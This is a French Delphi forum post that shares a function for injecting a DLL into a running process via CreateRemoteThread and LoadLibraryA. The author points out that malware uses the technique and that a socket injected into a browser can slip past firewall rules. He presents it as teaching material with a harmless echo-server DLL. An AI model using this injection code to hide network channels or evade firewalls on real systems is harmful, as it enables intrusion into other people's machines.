Injecter dll dans un processus en cours

Description

Bon au départ je ne voulais pas poster ce code, mais Forman m'a doubler avec çà source : http://www.delphifr.com/codes/REMPLACER-FONCTION-DLL-IMPORTE-QUELLE-AUTRE_38484.aspx

Du coup je vais vous présenter l'injection de DLL dans un processus, non pas pour remplacer une fonction comme la fait Forman, mais qu'elle tourne indépendemment en tache de fond sur un autre processus. Il faudra biensur crée avant une DLL dynamique qui est une fonction particulière (sorte d'application embarqué).

Cette technique est utilisée par certain malware afin d'ouvrir des canaux (porte d'entrées) sur votre PC, pour y laisser entrer des intrus.

Mon programme est assez généraliste car il permet de selectionner la DLL à injecter et le processus cible. Mais l'avantage de se type d'injection, et que si elle est faite sur votre navigateur internet, les firewall laissant votre navigateur envoyer et recevoir sans confirmation et la socket faisant partie de l'application, le FireWall laissera votre socket embarqué lire et ecrire sur une socket client exterieure en passant outre les protections.

Source / Exemple :


// La fonction d'injection

function InjectDLL( DLLSource : string; ProcessDestination : string ) : Boolean;
var
    LibName     : Pointer;
    hProcess    : THandle;
    ThreadHandle: THandle;
    OctEcrit    : Cardinal;
    TheadID     : DWORD;
begin
    Result := False;

    AjustePrivileges; // voir dans le Zip pour cette fonction

    hProcess := OpenProcess( PROCESS_ALL_ACCESS, FALSE, FindProcess( ProcessDestination ) );
    if (hProcess = 0) then Exit;

    LibName := VirtualAllocEx( hProcess, nil, Length(DLLSource) + 1, MEM_COMMIT, PAGE_READWRITE );
    if ( LibName <> nil ) then
    begin
      WriteProcessMemory( hProcess, LibName, PChar(DLLSource), Length(DLLSource) + 1, OctEcrit );
      if ( (Length(DLLSource) + 1) <> OctEcrit ) then Exit;
le process
      ThreadHandle := CreateRemoteThread( hProcess, nil, 0, GetProcAddress( LoadLibrary('kernel32.dll'), 'LoadLibraryA' ), LibName, 0, TheadID );
      Result := ( ThreadHandle <> 0 );
      WaitForSingleObject( ThreadHandle, INFINITE );
    end else Result := False;
    VirtualFreeEx( hProcess, LibName, 0, MEM_RELEASE );
    CloseHandle( hProcess );
end;

Conclusion :


Les sources fournies avec le Zip ne contiennent aucun "Malware", et ma DLL contient juste un serveur socket qui renvoi ce que lui envoi le client connecté : donc rien de méchant. Cette source à un but pédagogique, je ne cherche en rien à faire de futur HAcKer, je vous serez grée de ne pas me la supprimer, un avertissement serai suffisant !

J'ai posté cette source un peu rapidement, donc s'il y a des corrections je suis preneur.

Notes et commentaires sont les bienvenues !

Codes Sources

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.